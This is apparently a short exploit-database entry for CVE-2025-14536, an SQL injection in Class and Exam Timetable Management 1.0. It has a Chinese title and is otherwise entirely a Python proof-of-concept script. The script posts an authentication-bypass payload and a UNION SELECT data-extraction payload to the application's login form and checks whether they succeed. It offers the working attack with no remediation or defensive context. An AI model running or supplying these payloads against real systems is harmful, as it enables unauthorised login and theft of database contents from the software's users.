CVE-2025-14536 Class and Exam Timetable Management 1.0 SQL注入漏洞

import requests target_url = "http://target.com/index.php" # SQL Injection PoC for CVE-2025-14536 # Authentication Bypass Payload payload_auth_bypass = "' OR '1'='1" # Data Extraction Payload (MySQL) payload_extract = "' UNION SELECT NULL,version(),user(),database()-- -" data_auth = { 'username': payload_auth_bypass, 'password': payload_auth_bypass } data_extract = { 'username': payload_extract, 'password': 'test' } print("[*] Testing Authentication Bypass...") response = requests.post(target_url, data=data_auth) if 'dashboard' in response.text.lower() or response.status_code == 302: print("[+] Authentication Bypass Successful!") print("[*] Testing Data Extraction...") response = requests.post(target_url, data=data_extract) if 'mysql' in response.text.lower() or 'union' in response.text.lower(): print("[+] Data Extraction Possible!") print("[*] CVE-2025-14536 SQL Injection Test Complete")